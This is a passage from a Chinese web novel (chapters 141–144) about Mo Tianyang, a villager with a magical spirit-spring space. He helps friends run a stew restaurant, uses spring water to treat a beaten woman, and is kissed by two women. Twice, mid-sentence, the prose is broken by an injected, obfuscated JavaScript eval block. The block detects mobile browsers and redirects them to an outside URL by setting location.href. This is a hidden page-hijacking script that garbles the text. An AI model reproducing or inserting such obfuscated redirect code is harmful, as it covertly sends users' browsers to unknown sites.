“忙到快十二点！”赵兴胜接过话，脸上带着兴奋，“所有东西，连渣都没剩！光是小米稀饭就熬了三大锅。天扬，好些客人喝了咱的稀饭后，都追着问小米卖不卖，有人甚至出到六块多一斤！” 莫天扬闻言笑了笑：“看来识货的人还真不少。要不是咱自己开着店，光卖小米估计也能行。这才一晚上就熬了这么多，往后咱们自己消耗就不是个小数目。” “天扬，昨天一天，营业额就有两千四百多！”徐志国报出这个数字，语气中带着一丝询问，“这钱……” “做个账记清楚就行，”莫天扬语气平和，“以后每个月结算一次。除了店里的日常开销和你们的工资，剩下的钱都先留着，当作店的备用金。” “备用金？”赵兴胜有些疑惑。 “你们和村里干活的工人不一样，”莫天扬解释道，“往后需要走动、打点、添置设备的地方肯定不少，手头得有点活钱才方便。对了，这方面我不太懂，以后购置什么设备工具，记得给海龙、明辉、国强他们三个也备上一份。” 四人都郑重地点点头。赵兴胜像是想起什么，神色认真了几分，压低些声音说：“天扬，你让我们留意的林家，查清楚了，确实就是那位老爷子的林家。和你猜的一样，那位退下来的老爷子，好像完全不知道他的儿孙辈背着他，在外头干了不少上不了台面的事。” 莫天扬深吸了口气：“具体都做了些什么？” “肯定有不少腌臜事。不过他们的根基主要在沛川那边，我们目前也只是从林浩宇这条线摸到一点边。真想挖深了，必须得去沛川才行。” “那就先集中精力，把林浩宇给我盯紧了，把他那点事查个底掉。”莫天扬果断吩咐。 说完正事，他话锋一转，语气变得随和起来：“对了，你们在附近物色个院子吧。四个人总挤在这一个小店里也不是长久之计。这要是哪天家里媳妇儿过来探亲，看你们挤成这样，还不得以为我莫天扬多刻薄，虐待你们呢。” 徐志国四人闻言，互相看了一眼，不由得哈哈大笑起来。 “等这边生意再稳定稳定再说吧，”徐志国代表大家回道，“来之前，谁敢想这么个小饭馆，能像昨天那样火爆。” 莫天扬点点头：“等稳定下来，就雇两个服务员搭把手。你们也能腾出身子，专心做该做的事。” 这时，赵兴胜看向郭宏和王宏伟，提议道：“郭宏，宏伟，要不让你家那口子过来帮忙？我和志国的媳妇都在外地打工，一时过不来。咱这地方消费不高，店里包吃包住，干上一年也能攒下不少，总比你们两地分居强。” 郭宏和王宏伟都是一怔，下意识地看向莫天扬，眼神带着询问和一丝期待。 莫天扬立刻点头：“这主意好。请外人也是花钱，要是嫂子们能来，那是再好不过了。等以后饭店生意做大了，咱们换个大点的地方，到时候把孩子们也接过来！” “天扬，我……”郭宏和王宏伟一时语塞，看向莫天扬的眼神里充满了感激。 莫天扬笑着摆摆手，打断他们：“自家兄弟，再说客气话就见外了。明天你们就去寻摸房子，早点安顿下来，也好让嫂子们早点过来。” 第一百四十一章小有名气 这一天，莫天扬虽身在青木餐馆，但大多时候只是从旁指点徐志国，自己更多是帮着打打下手。可即便如此，从中午到晚上，小小的餐馆里依旧座无虚席，人气火爆。 餐馆外时常排起的长队，让许多路过的行人都感到惊讶和好奇。他们想不明白，这个刚刚易主没多久、看起来毫不起眼的小店，究竟有什么魔力能吸引这么多人心甘情愿地排队等待。 这份好奇驱使着一些人推门进来打听，而刚一进门，那股浓郁醇厚、勾人魂魄的炖肉香气便扑面而来，让他们不自觉地吞咽口水，瞬间就打消了疑虑，只想赶紧找个位置尝一尝。 “天扬，咱家的炖肉、大烩菜、小凉菜，味道绝对是这个！”徐志国趁着空闲，对莫天扬竖了下大拇指，但随即也提到，“不过也有好几桌客人反映，说咱们的菜品有点单一，吃久了可能会腻。” 莫天扬闻言淡淡一笑：“咱们这就是个小馆子，来的大多是图个实惠、吃个饱肚的普通老百姓，真正有钱的也就是偶尔来换换口味。要是菜品一下子增加太多，你们非得忙得脚不沾地不可。” “其实添几个简单的家常炒菜就行，”赵兴胜提议道，“就是摸不准这边老百姓具体好哪一口，这菜单一时定不下来。” “炒菜更费工夫，灶台也转不开，”莫天扬略一思忖，说道，“暂时还是以炖菜为主打，省事，也出味。就把‘炖’字文章做足。” “炖？”几人都看过来。 “对，”莫天扬点头，如数家珍，“炖羊肉、炖鱼、炖肘子、炖牛肉、炖排骨……花样多着呢。” 他一连串说出十几种炖菜，听得徐志国几人眼睛发亮，他们这才意识到，“炖”原来有这么宽广的天地。 看着他们惊讶的样子，莫天扬笑了笑，补充了一条铁律：“不管炖什么，记住一条：头天炖的，如果第二天还卖不完，到了第三天，宁可自己人吃了或者倒掉，也绝不能卖给客人！咱们做的是口碑。” “这边的羊肉出名，要不就先上炖羊肉？再加个炖鱼？”徐志国商量着问。 “行，”莫天扬拍板，“羊肉你们去选最好的，贵点没关系，但品质必须保证。鱼嘛，我那儿有，以后每天我给你们送十条花鲢过来。明天我早点过来，把炖羊肉和炖鱼的做法给你们示范一遍。” “天扬，”郭宏想起王海龙的念叨，笑着说，“海龙他们可总说，你那儿发的豆芽也是一绝，爽脆清甜，别的根本比不了……” 莫天扬不由得一乐：“地里的蔬菜眼看就要罢园了。以后的普通蔬菜你们得自己采购。不过豆芽我可以定期给你们送，保证供应。” “天扬，照这势头，接下来一段日子你肯定得常来回跑，”徐志国说道，“要不就在附近给你找间房？也省得你天天赶路。” 莫天扬微微一愣，眼中光芒闪烁了几下，随即点头：“这个主意好。找个安静点的农家院，到时候我多买点小麦直接放我那儿，你们需要就自己去取。我万一忙得太晚回不去，也能有个地方歇脚。” 夜幕降临，莫天扬才回到青木村。晚饭桌上，他看向胡标：“标叔，王喜山他们今天……” “来了，”胡标放下筷子，“今天口气似乎软了点，有点松动的意思。不过我按你交代的，直接跟他们说了，你近期都没有承包土地的打算。” “天扬，你是没看见他们那样子，”曹勇接过话，语气带着些不屑，“听说你这又给我们涨了工钱，一个个眼红得不行，私底下偷偷打听，问咱酒坊还要不要人。” 莫天扬轻轻叹了口气。他给出的工资在浅驼县绝对算高的，而青木村又这么穷，谁看了能不眼热？ 曹勇见他的样子，深吸口气说：“天扬，就他们那种墙头草，有点好处就能翻脸，不值得可怜。” 莫天扬却淡淡一笑：“说到底，还是因为咱们这儿太穷了。谁不想多挣点钱，让家里人过得好点？至少这些年，他们也没欺负过我，没做过什么祸害村里的事。咱们帮不了他们，但至少也不用把他们当仇人。” 胡标赞同地点头：“天扬说得在理。都是一个村子的，他们也没干啥伤天害理的事，大伙儿没必要仇视。再说，以后天扬的事业要是拓展，免不了还要和村里人打交道，关系弄得太僵，反而不好。” “宏利、振南，”莫天扬转向陈宏利和胡振南，“明天送菜之前，你俩去池塘捞十条花鲢上来，别太大，十斤左右一条的最好。” 听莫天扬这一说，胡标等人都是一愣。而王海龙、徐明辉、李国强三人则是眼睛一亮！他们来这段时间可没少吃塘里的鱼，太清楚了——哪怕是最常见的鱼种，只要是从莫天扬那池塘里出来的，那味道绝对堪称一流！ “天扬，这鱼……是送到海龙他们朋友那个餐馆？”陈峰试探着问。 莫天扬点点头：“塘里的鲤、草、鲢、鳙本来就不老少，这段时间大家也看到了，连小鱼都长得飞快，是时候把咱们的鱼推出去了。那个小餐馆，正好是个试点。另外再送二十斤豆芽。” “餐馆叫啥名儿来着？” “青木餐馆，”莫天扬回道，“今天和昨天一样，全满。现在只卖带骨猪肉、炖鸡肉、大烩菜、几个小凉菜。有客人觉得花样少，明天就再加个炖羊肉和咱们的炖鱼！” 吃过晚饭，众人又闲聊了一阵，便各自散去回家。莫天扬等到颜若曦和刘思雨房间的灯火都熄灭，周遭彻底安静下来，这才回到自己屋里，仔细锁好房门，带着小白一同进入了灵泉空间。 空间之内，莫天扬熟练地铺开一大块苫布，将新购置的打麦机与电瓶驱动的电机连接起来。随后，他转身走向那片金灿灿的麦田，挥镰收割。 有了这台打麦机，效率提升了何止十倍！仅仅两个多小时的工夫，伴随着机器的轰鸣声，十一袋饱满的麦粒便已整齐地码放在苫布上。莫天扬看着这些收获，又看向那台“功勋”打麦机，眼中满是兴奋的光芒。他的心已经飞到了空间中那些同样等待收获的谷子、水稻和莜麦上。 看着地上与麦麸混合在一起的麦粒，他的目光又落在那台有些残旧的风扇车上，心里盘算着该如何把它也修复利用起来，实现更高效的清选作业。 翌日，在天色尚未破晓之时，莫天扬便在生物钟的作用下自然醒来。他洗漱完毕，悄然出门。先是照例抽水灌溉，并趁机将灵泉空间中数量可观的鲤鱼、草鱼、鲢鱼、鳙鱼转移了不少到外面的池塘里，随后才将空间产出的优质蔬菜置换到菜地中。 接下来的几天，莫天扬每天都会前往浅驼县。在他的技术支持下，虽然菜品依旧以炖肉为主，但“青木餐馆”已然在浅驼县打响了名气，成了许多人专程前来品尝美味的小馆子。 随着郭宏、王宏伟的妻子到来帮忙，餐馆的人手更加充足，运转也逐渐走上了正轨。给莫天扬找的那个农家小院也收拾妥当，他第一时间便将这几日空间中收获的小麦和谷子，搬运并存放进一间空置的房屋内。 这天，莫天扬找到徐志国：“徐哥，店里现在也稳定了，嫂子她们也都能上手了。明天开始，我就不天天过来了。以后有什么事情，直接联系海哥他们，或者给我打电话都行。” 虽然莫天扬在餐馆的这几天并不总是亲自动手，但只要他在，徐志国等人就感觉有了主心骨，格外踏实。此刻听他这么说，徐志国脸上顿时露出不舍和些许忐忑：“天扬，你这一定，我们心里还真有点没底了。” 莫天扬闻言笑了笑，语气充满肯定：“徐哥，就严格按照这几天定下的流程和手法来做，绝对没问题。再过段时间，我那边酿的‘屠苏酒’应该就能出窖了，到时候我送一些过来。只要咱们坚持诚信经营，味道过硬，生意就差不了。” “屠苏酒？”徐志国眼睛一亮，“听海龙他们提过，说是失传了上千年的古方佳酿！可是……来咱这吃饭的客人，虽然不少，但平常喝的也就是几十块的酒，这屠苏酒拿出来，他们怕是喝不起吧？” 莫天扬淡然一笑，早已胸有成竹：“整斤购买或许舍不得，但我们可以论‘杯’卖。再说了，我那儿的屠苏酒早就被预定了大半，能拿到店里的数量也不会太多，就算有人想论斤买，咱也没那么多货。这酒，得限量供应。” 正事交代完毕，莫天扬话锋一转，神色稍凝：“对了，林浩宇那边，最近有什么动静？” 负责此事的赵兴胜眉头立刻皱了起来，语气带着鄙夷：“他那个纨绔子弟能干什么正经事？无非是仗着家世胡作非为。就我们过来这短短时间，已经听说有三个姑娘被他祸害了。他还指使一帮混混，殴打了几个对他行为不满的执法人员，气焰嚣张得很。” 莫天扬眼中寒光一闪，沉声道：“把他这些罪证，一桩桩、一件件，都给我详细地记录下来，保存好。” “都留着呢，”赵兴胜点头，“这里面还包括不少他和一些公职人员之间的不法交易记录。” “毒瘤！”莫天扬从牙缝里挤出两个字。 又和徐志国他们仔细交代了一番，看了看窗外已然黯淡的天色，莫天扬这才起身，走出了青木餐馆。 就在莫天扬想要去打车回去，手机发出了震动声，拿出手机在看到上面的号码，莫天扬微微一愣。 “思雨，我正好要打车回去，你……” “天扬，我妈出事了……” 第一百四十二章做客刘家 一个看上去有些年头的居民小区里，莫天扬看向驾驶座上的刘思雨，略带疑惑地问道：“思雨，怎么没去医院，开回你家小区了？” 刘思雨微微一怔，有些惊讶地反问：“你怎么知道我家住这儿？” 莫天扬不由得笑了笑，提醒道：“你忘了？有一年单位搞新年联欢，晚上结束太晚，是我送你回来的。” 两人快步上楼，走进一套三室两厅的居室。一进门，莫天扬的眉头就紧紧皱了起来——只见杨丽正有气无力地斜躺在沙发上，脸上青一块紫一块，胸前的衣服上还沾染着大片已经发暗的血迹。刘成祥正端着一盆水，小心翼翼地用湿毛巾给妻子擦拭手臂上的伤口。 “妈！您这是怎么了？！”看到母亲这副模样，刘思雨的眼泪瞬间就涌了出来，她扑到沙发前，声音颤抖，整个人都因震惊和恐惧而微微发抖，显然从未经历过如此可怕的场面。 “叔叔，阿姨这是……”莫天扬也快步上前，沉声问道。 刘成祥抬起头，脸上写满了疲惫与无奈，苦笑着对莫天扬说：“她每天都有晚饭后出去散步的习惯。今天刚下楼没多久，就碰上几个小混混……二话不说，冲上来就打！还恶狠狠地说她得罪了不该得罪的人，今天只是给个教训……你阿姨这人最好强，爱面子，死活不肯去医院，怕邻居同事看见了笑话……” 莫天扬心头猛地一沉，立刻联想到刚才赵兴胜汇报的关于林浩宇的恶行。杨阿姨虽然性格强势些，但绝不至于去得罪街上的混混。这恐怕……是冲着自己和思雨来的，却让阿姨遭了这无妄之灾！ “妈，咱们还是去医院看看吧，您都伤成这样了……”刘思雨哭着劝道。 杨丽勉强睁开肿胀的眼睛，看到站在一旁的莫天扬，脸上露出一丝尴尬：“天扬来了啊……唉，让你看笑话了。” “妈！” “我……我真没事。” 莫天扬目光闪动，忽然想到了灵泉空间的水。他立刻拿下一直随身背着的背包，从里面掏出一个普通的矿泉水瓶，里面装着大半瓶清澈的液体。 “阿姨，您先把这个喝一口。身上哪里疼得厉害，也用这个药水抹一抹，可能会舒服点。”他递过瓶子。 这个举动让刘家三口都愣了一下。刘思雨看着那个再普通不过的矿泉水瓶，疑惑地问：“这里面是……？” “最近我不是一直在看中医药方面的书么，”莫天扬语气平静地解释，“跟着学了点皮**，自己试着泡了点药水。平时进山都带着，不小心磕了碰了抹一点，挺管用的。” 刘思雨知道莫天扬经常深入青木山，听他这么说，又想到他从未骗过自己，便不再怀疑。她接过瓶子，拧开盖，对母亲说：“妈，您快喝一口试试。” 杨丽本就因为丢脸而不愿去医院，又常听女儿说起莫天扬在山里如何厉害，此刻也没多想，就着女儿的手喝了一小口。 液体入口清凉，一股难以言喻的舒爽凉意瞬间顺着喉咙滑下，随即在体内缓缓扩散开来，身上的剧痛似乎真的减轻了几分。她忍不住又接连喝了两大口，随后长长地舒了一口气。 “天扬，你这药水……一点药味都没有，凉丝丝的，还真挺管用，我感觉……好多了。”她的声音虽然依旧虚弱，但比刚才有了些力气。 “真的管用？”刘思雨挂满泪痕的脸上瞬间涌上一丝希望和激动。 “思雨，你帮阿姨把药水涂在肿的地方。” 当那清凉的液体被轻轻涂抹在红肿淤青的皮肤上时，强烈的舒缓感让杨丽的精神为之一振。 过了十多分钟，按照莫天扬的嘱咐，杨丽用清水简单清洗了一下。当她再从卫生间出来时，刘成祥和刘思雨都明显愣了一下——虽然她的脸庞依旧肿胀，伤痕明显，但比起刚才那惨烈的状况，已然好转了不少，最关键的是，她的精气神看起来好了很多，不再那么萎靡痛苦。 “天扬，你这到底是什么药水？也太神奇了……这一瓶肯定不便宜吧，多少钱，阿姨给你。”杨丽感激地说道。 莫天扬连忙摆手：“阿姨您这就见外了，这就是我自己瞎鼓捣出来的，不值什么钱。” “家里……还有没有？” “这一瓶就这些了。等我回去再准备点，明天让思雨过去多拿一些过来。” “天扬，你还没吃晚饭吧？你阿姨这样……我也没法做饭了，我给你们点个外卖。”刘成祥说着就要拿手机。 “爸，您忘了他可是干什么的了？”刘思雨的情绪平复了许多，接口道，“家里还有什么菜，随便做点就行，比他手艺好的外卖可不好找。” “你带回来的那些菜还有不少，很新鲜。就是主食……” “做馅饼吧！”刘思雨立刻说，自从上次吃过莫天扬做的馅饼，她一直念念不忘。此刻见母亲情况稳定，她的心情也轻松了不少。 “做馅饼还得剁肉馅，太费时间了，”莫天扬看了看情况，说道，“简单点，我炒个米饭吧。” 说着，莫天扬便系上围裙走进了厨房。刘思雨也起身跟了进去：“我给你打下手。” 看着两人一前一后走进厨房的背影，刘成祥和杨丽对视了一眼。杨丽的眼中，不由自主地流露出一丝复杂的、掺杂着懊悔的情绪…… 很快，厨房里便传出了诱人的香气。那香味如此勾人，别说刘成祥，就连受伤的杨丽，都觉得肚子饿了起来。 当三盘色香味俱全的家常小炒被端上桌，莫天扬最后端着一大盆米饭走出来时，那米粒金黄、鸡蛋均匀、香气四溢的蛋炒饭，瞬间成了焦点。 “时间仓促，随便做了点，叔叔阿姨将就吃点。”莫天扬客气道。 他们都见识过莫天扬的厨艺，于是不约而同地先尝了一口那看似平凡的蛋炒饭。仅仅一口下去，三个人的眼睛都亮了起来。 “天扬，这蛋炒饭……也太香了！”刘思雨忍不住惊叹，“这是我吃过最好吃的蛋炒饭！” 十多分钟后，桌上的三盘小炒和那一大盆蛋炒饭被吃得干干净净，盘子光洁得像是洗过一样。刘思雨意犹未尽地看着空盘，嗔怪地瞪了莫天扬一眼：“你也太小气了，用我家的米和菜，都不知道多做点。” 莫天扬看着她那副模样，不由淡淡一笑，打趣道：“不是某人天天喊着要减肥？今天这分量，刚刚好助你达成目标。” 刘思雨的俏脸“唰”地一下红了，又羞又恼，伸手就在他腰间不轻不重地拧了一把：“要你多嘴！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217605|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这小儿女间自然流露的亲昵互动，全然落在刘成祥和杨丽眼中。老两口对视一眼，眼神复杂，之前对莫天扬的种种顾虑似乎在悄然融化，最终化作一丝无声的释然和淡淡的宽慰。 “阿姨，您再仔细想想，最近真的没得罪过什么人吗？”饭后，刘思雨泡了一壶清香的“紫烟”茶，四人围坐喝茶闲聊，莫天扬将话题引回正事。 杨丽认真地摇摇头，眉头微蹙：“我在这小区住了十几年，街坊邻居关系都处得挺好，从没跟人红过脸。在单位也就是个闲职，不争不抢的，哪会得罪什么人……” 刘思雨杏眸闪烁了几下，声音沉了下来：“妈，会不会是……那个姓林的？” 杨丽微微一怔，似乎被点醒了：“前两天……我倒是碰见林浩宇他表姑了，她又缠着我说林浩宇和思雨的事，我一时没忍住，骂了她几句……难不成就因为这个？” 莫天扬眼神一凝，深吸了口气，语气变得严肃：“阿姨，我听到一些风声，那个林浩宇就在最近这段时间，已经祸害了三个姑娘，还指使混混打伤了好几个对他行为不满的公职人员。” 刘成祥脸色骤然一变，手中的茶杯都顿住了：“这事我也隐约听人提起过。思雨，你以后千万要小心，那个林浩宇，根本就是个无法无天的畜生！” “叔叔，您工作上的事，有消息了吗？”莫天扬关切地问。 “我问了几次，口径都很统一，说就这一两天内一定会给我个明确答复。” 杨丽听到这里，长长叹了口气，脸上写满了自责与后悔：“都怪我……当初要不是我……思雨也不会被那个**缠上，老刘你也不会被停职调查……” “妈，现在说这些也没用了，”刘思雨握住母亲的手，安慰道，“以后咱们大家都小心点，尽量躲着那个瘟神就行了。” 又喝了一杯茶，莫天扬起身告辞：“叔叔，阿姨，时间不早了，我得回去了。” 刘思雨立刻跟着站起来：“我送你……” 莫天扬摆摆手，看向杨丽：“阿姨身上还有伤，你多陪陪阿姨。我出去打个车很方便。” “那我送你到楼下。” 两人一前一后走下楼梯。到了单元门口，夜晚微凉的风拂面而来。莫天扬停下脚步，转身对刘思雨笑了笑：“就送到这儿吧，快回去，外面凉。” 刘思雨点点头，灯光下她的眼眸亮晶晶的。忽然，她像是下定了某种决心，向前迈了一小步，迅速踮起脚尖，温软的唇在莫天扬的脸颊上轻轻印了一下。 如同蜻蜓点水，一触即分。 还没等莫天扬反应过来，她已经飞快地转身，像一只受惊的小鹿，逃也似地跑回了楼道里，“砰”的一声轻响，单元门被关上了。 这突如其来的一吻，让莫天扬瞬间僵在原地，大脑仿佛停止了运转，整个人完全石化。他无论如何也没想到，刘思雨会突然有这样的举动。 直到冰凉的单元门彻底隔绝了视线，他才猛地回过神来。他下意识抬手，摸了摸刚才被亲吻过的地方，那里似乎还残留着一丝温热的、柔软的触感。他怔怔地望着那扇紧闭的门，半晌，嘴角不受控制地慢慢向上扬起，最终化作一个有点傻气的笑容。 第一百四十三章又被偷吻 回到青木村时，已将近晚上十点。往常这个时间，村里早已一片寂静，人们大多歇息了。可今晚，莫天扬却看到颜若曦的房间还亮着灯。简易房前，大青和小白正带着一群半大的小青狼在附近安静地巡逻踱步，这幕景象让他紧绷了一晚上的心，稍稍放松了下来。 看到他回来，大青、小白立刻低吼着迎了上来，亲昵地蹭着他的腿，身后的狼崽们也发出呜呜的欢快声音。莫天扬笑着挨个拍了拍它们的脑袋。 就在他走到门口时，颜若曦的房门“吱呀”一声开了。她走了出来，看着风尘仆仆的莫天扬，脸上展露出温柔的笑容：“今天怎么回来得这么晚？” 莫天扬指了指旁边的会客室，两人默契地走了进去。关上门，莫天扬压低声音道：“思雨的母亲出事了。” 颜若曦杏眸微微一缩，关切地问：“杨阿姨？她怎么了？” 莫天扬将晚上看到的情况和自己了解到的事情经过，详细地说了一遍。颜若曦听完，脸色瞬间沉了下来，声音带着愠怒：“如果真是这样，那个林浩宇简直是**中的败类！” “十有**是他。”莫天扬语气肯定，“今天在小餐馆，我听好几拨食客都在议论，就这几天功夫，他指使混混打了不少对他有意见的人。杨阿姨之前想过撮合他和思雨，但两天前刚和他表姑大吵了一架……” “这么说，几乎可以断定是林浩宇在背后指使报复了？” “嗯。”莫天扬点头，神情变得严肃，“若曦，这段时间你尽量不要单独去太远的地方。” 听到这话，颜若曦心头先是一紧，随即涌起一股被保护的甜蜜暖流，她轻声问：“你担心……他也会对我下手？” “他已经不能算人了，仗着家世毫无底线。他父母一味纵容，加上他爷爷是退下来的那位，在这片地界几乎没人敢动他。我和他有过节，不单单是你，宏利、振南他们，可能都会成为他针对的目标。”莫天扬看着她，语气格外认真，“而你是个女孩，他又是个色中饿鬼，所以我……” “你说他爷爷是……退下来的大人物？”颜若汐捕捉到这个信息。 “对。但我推测，这些龌龊事大概率是背着他爷爷做的。” 颜若曦若有所思地点点头：“我明白了，我会小心的。”她顿了顿，语气转为关切，“你吃晚饭了吗？厨房还给你留着饭。” “吃过了，在思雨家吃的。” “那就好，早点休息吧，明天还得早起呢。” 两人走到会客室门口，莫天扬伸手关灯。就在灯光熄灭、他转身的刹那，一丝淡淡的、属于颜若曦特有的清香悄然袭来，紧接着，脸颊上感受到一瞬温凉柔软的触感。 这…… 莫天扬的心跳猛地漏了一拍，整个人愣在原地。 黑暗中，传来颜若曦一声轻轻的、带着些许俏皮的轻笑。 “晚安。” 等她轻盈的身影消失在房门后，莫天扬才回过神来。他走出会客室，看到颜若曦的房间已经熄了灯。他下意识抬手摸了摸刚刚被亲吻的脸颊，不由得摇头失笑——这前后不过一个小时，自己的左右脸颊竟分别被刘思雨和颜若曦“偷袭”了。这算怎么回事？自己这算是……亏了还是赚了？ 回到自己房间，锁好门，关掉灯。莫天扬并未立刻休息，而是心念一动，再次进入了灵泉空间，继续扮演他那个“真正农民”的角色，在无声的夜色里耕耘他的另一片天地。 第二天，莫天扬依旧早早起来，抽水、送菜，然后在酒坊里忙碌。等胡振南他们都到齐后，他像往常一样走出院子。 “天扬，收拾下该走了！”凌飞坐在驾驶座上，朝他喊道。 莫天扬却微微一愣，随即反应过来，摆摆手道：“凌哥，这几天就先不过去了，你们路上慢点。” 李国强上了车，货车缓缓启动，驶离了院子。看着车子远去的背影，莫天扬站在原地，忽然感到一阵前所未有的空落。连续几天往返县城的忙碌节奏骤然停止，他一下子竟不知道自己该做些什么了。 “天扬，想什么呢？”就在莫天扬内心一片茫然，望着空荡荡的村路出神时，身后传来了胡标的声音。 莫天扬回过神，笑了笑：“标叔，没想什么。我正打算去谷子地那边看看。” “我正好也想跟你说这个事，”胡标走过来，“这几天割了一半苜蓿，摊开晒着，再过几天就能彻底晒干。羊我也问好了，一共三十二只，里头带着十四只半大的羔羊，总共要三万八。我刚才顺路去看了咱的谷子和黍子，黍子已经黄透了，能割了，谷子还得再等几天。” “黍子都能收了？”莫天扬有些惊讶于这速度。 “咱这儿昼夜温差大，庄稼熟得比别处早。这也就是今年有水使劲浇，不然啊，熟得更早，怕是早就干巴了。”胡标解释道。 莫天扬闻言，不禁轻叹一声：“这都八月了？” “可不嘛，学生们都开学了。”胡标点头。 莫天扬恍然，摇摇头：“怪不得这段时间村里看不见那些跑来跑去的小家伙了。” “现在村里没学校了，娃娃们都在外面念书。不少当爹妈的都得跟着去照顾，开学前就得提前去租好的房子里收拾安顿。” 莫天扬深吸了口气，语气中带着一丝无奈：“是啊，村里连学校都没了。那么小的孩子就得离家常住，是真不容易。” “没办法，村里太穷了。”胡标的声音也低沉下来，“以前乡里也派过老师来，可谁都待不住，没人愿意留下来。到最后，乡里也只能把学校撤了。孩子一到年纪，就得出去，不是住校，就是家里派人去租房子陪读。” “标叔，王玉虎和武银城家的孩子，也不小了吧？”莫天扬问道。 “都不小了，差不多都该上初中了。他俩现在不是都在你这儿干活嘛，孩子也都转回县里学校住校了。” 莫天扬沉吟片刻，做出了决定：“标叔，您帮我统计一下，所有在我这儿干活的人里头，谁家有孩子在外面上学的。人家回来帮我，孩子却在外头住校，我心里过意不去。这样，小学的孩子，我一个月补助一百，初中二百，高中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217606|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三百。” 胡标一听，急忙摆手：“天扬，你赚钱也不容易！能让我们来这儿上班，给的工钱比沛川都高，我们已经很知足了。这再给孩子们补助，你自己还能落下几个？你这建院子，可没少借钱呢！” 莫天扬微微叹息，语气却很是坚定：“都是一个村的，能帮一把就帮一把。现在孩子们好了，将来有出息了，或许还能回来帮帮村子。我现在用钱的地方也不多，就这么定了吧。” 胡标看着他认真的神情，重重地点点头：“成！我待会儿就去登记。” “标叔，胡亮这几天怎么样了？”莫天扬转而问起另一件事。 胡标的脸上露出了欣慰的笑容：“经过那一次教训，振南他们几个经常过去看看他，陪着说说话。亮子变化很大，现在慢点走已经不用拐杖了。他一直想过来当面谢谢你，可又觉得没脸，不敢来。” “谁年轻还不犯点错？浪子回头金不换。有什么不敢见的？没事就让他过来走走，总比一个人闷在家里强。他能出来活动，睿伯老两口心里也能好受点。” “行！我回头就去告诉他，他肯定高兴！”胡标爽快地应下。 胡标离开后，莫天扬信步走到了种植苜蓿的沙地区域。之前那一米多高、郁郁葱葱的苜蓿已然不见踪影，土地被重新翻耕过，翻出的泥土上均匀地铺着一层墨绿色的苜蓿。曹勇正带着十多个村民，忙着将这些苜蓿翻晒。 见莫天扬过来，曹勇放下手里的耙子走了过来：“天扬，看这天气，再过几天苜蓿就能晒得透干。这苜蓿地底墒情不错，等收了干苜蓿，浇一次透水，再用草帘子厚厚地铺上一层，保准能保得住墒，等到明年春天墒情都好。埋下去的这些鲜苜蓿，也能在入冬前腐烂变成好肥料。” 莫天扬目光闪烁了几下，提议道：“曹叔，您看要不要在铺草帘子之前，再往下面撒一层苜蓿种子？要是能侥幸发芽生根，既能更好地保墒，就算没成，也不过是费点种子钱。” 曹勇琢磨了一下，点头赞同：“这倒是个好法子！我咋没想到。” “那就这么定。让宏利他们打听一下哪儿卖草帘子，到时候您估算一下需要多少，直接让他们送过来。院子冬天还得动工，草帘子就算用不完，也能铺到外面的沙地里保墒。” 从苜蓿地回来，陈峰那边已经开始张罗午饭。莫天扬过去打了个招呼，正打算回自己屋子。走到颜若曦门前时，她的房门正好打开。 颜若曦走了出来，看到莫天扬，俏脸不由微微一红。 “今天怎么没去县里？”她轻声问道，眼神有些闪烁。 想到昨晚那突如其来的一吻，莫天扬也有些不好意思，目光移向别处：“那边都稳定下来了，以后偶尔过去看看就行。” “哦……那我去酒坊看看。”颜若曦说着，侧身从他旁边走过。 看着颜若曦离去的妙曼背影，莫天扬心头不由得一动，但随即又摇了摇头，甩开那些纷乱的思绪，推门进了自己的屋子——他得赶紧给刘思雨准备那些所谓的“药水”了。 第一百四十四章靠谱吗？ 莫天扬刚把九个装满灵泉水的矿泉水瓶整齐地码进一个纸箱，刘思雨就风风火火地从外面走了进来。一眼看到箱子里那些熟悉的瓶子，她的眼睛瞬间亮了起来。 不过，当注意到莫天扬看她的眼神带着一丝别样的笑意时，刘思雨的俏脸不由得微微泛红，显然都想起了昨晚那个短暂的吻。莫天扬体贴地没有说破，只是笑着问道：“阿姨今天感觉怎么样？” “你的药水真的太管用了！”刘思雨的语气带着惊喜，“肿消下去差不多一半，精神头也好了很多，还一直念叨着要谢谢你呢。” 说着，她杏眸闪烁了几下，流露出商人的敏锐：“天扬，你这药水效果这么神奇，如果拿出去……” 话没说完，莫天扬就赶忙摆手打断，语气半是认真半是玩笑：“打住！这话可千万别往外说。这东西自己人用用还行，我可是要啥没啥的平头百姓，可不想因为这‘三无产品’被抓进去。” 刘思雨被他逗得咯咯直笑：“知道啦！那……以后就专门给我多准备点，总行吧？” “这箱都给你，用完了我再弄。”莫天扬爽快地说。 “那我可不客气啦！”刘思雨欢喜地抱起箱子，又打量了一下瓶子，“就是这包装太简陋了，回头我给你找些好看点的瓶子换一下。” “行，你看着办。”莫天扬笑着看她抱起箱子就要走，不由问道：“你这急着去上班，还抱着个大箱子干嘛？” “我先送回家去，这么宝贝的东西可不能放单位。”刘思雨说着，脚步轻快地出了门。 看着她来去如风的身影，莫天扬仿佛又看到了高中时代那个总是充满活力、雷厉风行的女孩，嘴角不自觉地扬起一丝笑意。 “思雨刚才抱走的是什么呀？”一个声音从身后传来。 莫天扬转头，看到颜若曦从她的房间里走了出来。“是我自己瞎鼓捣的一点药水，对跌打损伤好像有点效果。”他解释道。 